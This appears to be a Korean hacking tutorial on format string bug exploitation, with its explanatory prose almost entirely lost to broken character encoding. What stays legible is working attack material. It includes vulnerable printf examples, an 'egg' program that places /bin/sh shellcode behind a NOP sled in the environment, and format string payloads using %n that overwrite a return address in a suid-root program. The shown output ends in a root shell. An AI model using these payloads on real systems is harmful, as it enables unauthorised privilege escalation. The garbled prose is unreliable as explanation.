------------------------------------------------------------------------- BOF ŷ踦 ָ վ... Ȳ ŷ迡 ο ︮ Ÿ...̸ ...FSB..ڵ!! 1. Format String ̶? C α׷. 츮 ϰų Է¹ ִ.. .. 1) #include main() { char put[30]; printf("̸ Էϼ:"); scanf("%s",put); printf("%s ȳϼ!\n",put); } ̷ ҽ %s Ȱ Է¹ް µǴ Format ϸ鼭 ŸԵȴ.. 佺Ʈ %d : (10) int %c : char %f : Ǽ float %lf : Ǽ double %o : 8 %x : 16 %u : unsigned 10 %e : ǥ %s : Ʈ %g : %e %f (ª ) , Ȯ Ͽ %n, %hn Ư Ʈ ִ..( ϱ ϱ) , C ־ 佺Ʈ ߿ϰ Ǵ ǥ̴. 2. ΰ? ̷ 佺Ʈ C ֵ ϰ Ȱ ϴ. ׷ α׷ Ǽ α׷ Ŀٶ Ǵµ.... ҽ .. 2) //test2.c #include main() { char put[30]; printf("̸ Էϼ:"); scanf("%s",put); printf(put); printf(" ȳϼ\n"); } 1 2 ̴ printfԼ Ʈ Ͽ° ƴѰ ̴.. 1 %s Ʈ ̿Ͽ ޾Ƶ Ȯ ϵ ϰִ.. 2 ޾Ƶ Ʈ ׵ ϰִ.(2 .. ؼ) μҽ ȵ ߵǰ α׷ Ͽ ̰ ȴ. $./test1 ̸ Էϼ: leon leon ȳϼ $./test2 ̸ Էϼ: leon leon ȳϼ ׷ Ѻ⿡ ̰ test2 ߻ϰԵȴ. $./test2 ̸ Էϼ: AAAA%x AAAA41414141 ȳϼ put Ʈ ְ Ǿ Է AAAA 16ǥⰡ µǰԵȴ. ̰ ε...., Ư Ʈ Ƿ ڰ ־ α׷ ǵʹ ٸ ְԵȴ. ϰԴ ּҰ ִ°Ϳ Ư ų ְ Ǵ°̴. ⼭ ָؾ ϴ , ٷ "%n" ̴. ҽ Ͽ ⺻ FSB ݹ "%n" ˾ƺ. 3. %n ݹ 3) //test3.c main() { int i=1; printf("i ּ : %x\n",&i); printf("i : %d\n",i); printf("hahaha%n\n",&i); printf(" i : %d\n",i); } 3 ҽ %n ϴ° ش. 켱 i "1" Ҵ Ͽ.. ùٿ i ּҹ ش. ι° ٿ 1 ǵ i ش. ° ٿ.."hahaha" 6 ڸ ֱ %n ־.. i ּҹ ȴ. i ȭ̴. $./test3 i ּ : bffffb84 i : 1 hahaha i : 6 bffffb84 ޸ ּҹ i Ҵ ̸ּ װ 1 ̿..%n Ͽ %n ڼ ŭ Ȱ ִ..̰ 佺Ʈ ݹ ʰ ȴ.. , Ư ּҹ ִ Ƿ Ҽ ִ°̴!!!! 󸶳 ΰ.... BOF غ 츰 Ư ּ( 巹) ÷Ѽ װ ϴ° Ҵ.. 츮 Ұ ٷ α׷ 巹̴.( 츰 ̰ɷ սô..) ̹ Ư ּҿ ּҰ 츦 캸(.. 巹) 4) // test4.c main() { long i=0x00000014, j=1; printf("i ּ : %x\n",&i); printf("i : %x\n",i); printf("%40d%n\n",j,&i); printf(" i : %x\n",i); } $./test4 i ּ : bffffb84 i : 14 1 i : 28 ï ִ..׷ ⼭ 츮 Ưּ ڰ ƴϸ..ּҴ 16 8ڸ Ǿִ. Ư ּҿ ּҰ ֱ ؼ ʿϴ. i ּҹ bfffff01 ִ ҽ̴. 5) // test5.c main() { long i=0x00000014, j=1, k; printf("i ּ : %x\n",&i); printf("i : %x\n",i); k=&i; printf("%65281d%n%49406d%n\n",j,k,j,k+2); printf(" i : %x\n",i); } $./test5 i ּҰ : bffffb84 i : 14 ~ ~ ߷( ) ~ ~ i : bfffff01 5 ϸ, 65281(16=ff01) Ͽ װ %n i ְԵȴ. 49406 Ͽ iּ 2 ְԵǴµ ̶ µ (65281)+Ŀ(49406) = 114687(16=1bfff) ְ Ǵ°̴.. i bfffff01 Եȴ. ̿ ޸ּҸ ֱ ؼ ū ǹǷ  ִ ؾ Ѵ. , i ּҹ bffffb84 : 14 00 00 00 bffffb85 : 00 00 00 xx bffffb86 : 00 00 xx xx bffffb87 : 00 xx xx xx %n Ǵ bffffb84 : 01 ff ff bf => bfffff01 bffffb85 : ff ff bf 01 bffffb86 : ff bf 01 xx bffffb87 : bf 01 xx xx ǰԵȴ. ̹ ¿ FSB ⺻ ݹ ٽ ˾ƺҴ. FSB ˾ƺ . ----------------------------------------> To be Continued -hackerleon ð FSB ⺻ װ ǵ ˾ƺҴ. Ͽ α׷ ҽ Ͽ FSB Ͽ . FSB !!! α׷ ù ظ ؼ BOF ϰ dumpcode.h ϵ . dumpcode.h ohhara ̴..ϴ Ҵ PLUS Ȩ . (PLUS : װ н Ƹ) mainsource newbie15 Ѱ̴. 츮 ּ(0xbffffa6b) 츮 ϴ (Ƿ 0xbffffb30 ) ִ ˾ƺ ϰڴ. //test6.c #include #include "dumpcode.h" main() { char put[50]; fgets(put,49,stdin); printf(put); dumpcode((char*)0xbffffa6b,4); } $./test6 leon leon 0xbffffa6b bf fc ab bf .... شּҿ bf fc ab bf (0xbfabfcbf) ִ° ִ. ̰ 30 fb ff bf (0xbffffb30) غ . 1. Է ġ ã 켱 츮 Է ġ ãƾ Ѵ. ׷ װ Ͽ شּҿ  ֱ ̴. $./test6 AAAA%x%x%x%x AAAA4f4013994040016ab041414141 0xbffffa6b bf fc ab bf .... 4° 츮 AAAA(16 41414141) Դ.(- ̰ δ ù° %x AAAA Ե˴ϴ, gcc2.95̻ Ϲ ʿ ⵵մϴ. ⼭ ؼ 4° °ɷ ϰڽϴ. -) 2. ޸𸮰 ֱ.. ش ڸ ޸𸮰 ִ° 캸. ޸𸮰 Էؾ perl ̳ printf Լ Ͽ شα׷ ԷϿ Ѵ. $(printf "\x41\x41\x41\x41%%x%%x%%x%%x";cat)|./test6 AAAA4f4013994040016ab041414141 0xbffffa6b bf fc ab bf .... "AAAA" ޸ȭ Ѽ ԷѰ̴. %%x %x ȿ ش. ׷ ̹ ¥ ޸𸮰 ־ . $(printf "\x6b\xfa\xff\xbf%%x%%x%%x%%x";cat)|./t6 k??f4013994040016ab0bffffa6b 0xbffffa6b bf fc ab bf .... ޸𸮰 ϴ ġ Ȯ ° ȮϿ... 3. %c ּڸ ߱ ̹ Էϴ ޸𸮰 ÿ ԷϿ ϴ ġ ϴ غ. $(printf "\x41\x41\x41\x41\x6b\xfa\xff\xbf\x41\x41\x41\x41\x6d\xfaxff\xbf%%8x%%8x%%8x%%c%%x%%c%%x";cat)|./test6 AAAAk?AAAAm?? 4f4013994040016ab0Abffffa6bAbffffa6d 0xbffffa6b bf fc ab bf .... %c Ͽ AAAA Դ ޸𸮰 %x µǴ° ִ. ׷ ى...̹ %x %n ְ غ.. 4. %n شּҿ ֱ $ (printf "\x41\x41\x41\x41\x6b\xfa\xff\xbf\x41\x41\x41\x41\x6d\xfa\xff\xbf%%8x%%8x%%8x%%c%%n%%c%%n";cat)|./t6 AAAAk?AAAAm?? 4f4013994040016ab0AA 0xbffffa6b 29 00 2a 00 ).*. !! %n ְ غ Ÿּ Ȱ ִ.. 0xbffffa6b 29 00 2a 00 ).*. , %n (4+4+4+4+8+8+8+1 = 41 = hex : 29) شּҿ ̴. ؿ⼭ \x41\x41\x41\x41 / \x6b\xfa\xff\xbf / \x41\x41\x41\x41 / \x6d\xfa\xff\xbf / %%8x / %%8x / %%8x / %%c / 4+4+4+4+8+8+8+1 ̴..%%xտ 8 %x µǴ ڰ ִ 8̸ ׺ ü Ƿ ƿ 8ڷ ̴. ù° %n ι° %n "%n%c" 2ڰ 29 + 2 = 2a ȴ. ...忡 ߵ %c ڸ ־ 츮 ϴ ־ . 츮 ְ ϴ 30 fb ff bf (0xbffffb30) ̹Ƿ ù° ڸ fb30(64304) - 0029(41) = 64263 +1 ̴. +1 %c 1 ߱ ̴. $ (printf "\x41\x41\x41\x41\x6b\xfa\xff\xbf\x41\x41\x41\x41\x6d\xfa\xff\xbf%%8x%%8x%%8x%%64264c%%n%%c%%n";cat)|./t6 ~ ~ ߷ ~ ~AA 0xbffffa6b 30 fb 31 fb 0.1. ù° Դ..ϴ 30 fb ι° ϸ $ (printf "\x41\x41\x41\x41\x6b\xfa\xff\xbf\x41\x41\x41\x41\x6d\xfa\xff\xbf%%8x%%8x%%8x%%64264c%%n%%50383c%%n";cat)|./t6 ~ ~A ߷ ~ ~A 0xbffffa6b 30 fb ff bf 0... 嵮 Ȯ 츮 ϴ ϴ ޸ ְ Ǿ.. Ȳϰ Ǿ, FSB ٽɰ ˾ƺҴ. д е ߿ α׷ suid bit Ǿִٸ ״  FSB ؾ߼ ȹؾ ϴ ġ ̴^^. ð suid bit α׷ ̿Ͽ ȹϴ غ . ------------------------------------------------> To be Continued -. hackerleon ռ ð 츮 ϴ ޸ ġ ϴ ִ غҴ.. suid bit α׷ ȹҼ ִ غ ... ̹ ð ï dumpcode.h غϰ... ð ҽ Ǯ ϰٴ (mainsource newbie15 )... //test7.c #include main(int argc,char **argv) { char bleh[80]; setreuid(0,0); fgets(bleh,79,stdin); printf(bleh); } е鵵 ڽ ڽ  غ . $id uid=500(leon) gid=500(leon) groups=500(leon) $ls -l test7 -rwsr-x--x 1 root leon 13768 2 23 16:47 test7 켱 ð źе α׷  Ұΰ ϼ ̴. ..ۿ÷ Ǵ egg shell ̿ϴ ̴. egg shell ҽ 뷫 ...е鲲 ñ..(linux ڵ .) //egg.c #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\xc9\xc3\x90/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } egg Ǵ Ŀ ѹ Ұ̰..ϴ.. 츮 . 1. egg shell  Ưġ ڵ带 Ȱȭ Ų. 2. α׷ ༺ ȮѴ. 3. α׷ 巡 ã ã 巹 Ǵ eggġ ԷѴ. 4. ̴.. ߾.. 켱 egg_shell . $./egg Using address: 0xbffffa28 egg egg Ǵ ڵ ġ ش.(Ȯ ڵ ġ ƴϱ տ NOP ִ egg ġ̴) , 츮 α׷ 巹 ִ 0xbffffa28(28 fa ff bf) Ͽ Ѵ. α׷ ༺ ˾ƺ . $./test7 AAAA%x%x%x%x AAAA4f4013994040016ab041414141 α׷ Է %x 4° ° ȮϿ. Ͼ巹̴. Ͼ巹 ϴ ׸ ġ ʴ. ̱ д е BOF Ͻźе̶ 巹 οð ϼ ȴ. Ͼ巹 ϴ GDB ̿ϰų Ÿ ٸ ̿Ͽ Ҽ ִµ..˾Ƽ غñ ٶ.. ϰ Ͼ巹 Ҽ ִ ƽŴٸ Ŀſ ԰ؼ Խǿ ÷ֽñ..^^ ϴ Ͽ Ͼ巹 ߴٰ ...( gdb ̿ؼ ߽ϴ.) ׷ غ . غ.. α׷ Էµ ġ : 4° %x Ͼ巹 : 0xbffff07c ϰϴ : 0xbffffa28 ڵ尡 ϼȴ. $(printf "\x41\x41\x41\x41\x7c\xf0\xff\xbf\x41\x41\x41\x41\x7e\xf0\xff\xbf%%8x%%8x%%8x%%c%%x%%c%%x";cat)|./test7 ׷ ݰ ´ Ȯϱ ؼ ش ҽ ణ Ͽ α׷  Ͽ.(, egg ¿ ؾѴ.-α׷ -) //test7_t.c #include "dumpcod.h" #include main(int argc,char **argv) { char bleh[80]; setreuid(0,0); fgets(bleh,79,stdin); printf(bleh); dumpcode((char*)0xbffff07c,4); } $./egg Using address: 0xbffffa28 $(printf "\x41\x41\x41\x41\x7c\xf0\xff\xbf\x41\x41\x41\x41\x7e\xf0\xff\xbf%%8x%%8x%%8x%%c%%x%%c%%x";cat)|./test7_t AAAAl?AAAAn?? 4f4013994040016ab0Abffff06cAbffff06e 0xbffff07c fc ab 03 40 ...@ Է Ͼ巹 Ȯ ° ȮҼ ִ.. %x %n ٲٸ... $ (printf "\x41\x41\x41\x41\x7c\xf0\xff\xbf\x41\x41\x41\x41\x7e\xf0\xff\xbf%%8x%%8x%%8x%%c%%n%%c%%n";cat)|./test7_t AAAA|?AAAA~?? 4f4013994040016ab0AA 0xbffff07c 29 00 2a 00 ).*. Ȱ ִ.. ش ּҰ ã ϻ...(忡 ..^^) (printf "\x41\x41\x41\x41\x7c\xf0\xff\xbf\x41\x41\x41\x41\x7e\xf0\xff\xbf%%8x%%8x%%8x%%64000c%%n%%50647c%%n";cat)|./test7_t ~ ~ A ~ ~ A 0xbffff07c 28 fa ff bf (... id uid=500(leon) gid=500(leon) groups=500(leon) ϴ ġ ϴ , Ǿ. α׷ غ.. (printf "\x41\x41\x41\x41\x7c\xf0\xff\xbf\x41\x41\x41\x41\x7e\xf0\xff\xbf%%8x%%8x%%8x%%64000c%%n%%50647c%%n";cat)|./test7 ~ ~ A ~ ~ A id uid=0(root) gid=500(leon) groups=500(leon) root ȹϿ^^.. ̻ FSB ⺻ ݿ Ҵ. ̰ ϻ̴. α׷ ϱ ؼ ̺ٴ ľѴ. ׸ 츰 Ͼ巹 Ű FSB Ͽ. Ͼ巹 ƴ϶ α׷ 巹 Ҽ ִٴ Ϳ Ѵٸ ϰ 鵵 ̴. α׷ Ҷ ̷ Ǽ ϰ Ȼ ʴ° ༺  ִ ̶ ȴ. ׷, α׷ ༺ ε Ͽ ɰ̴.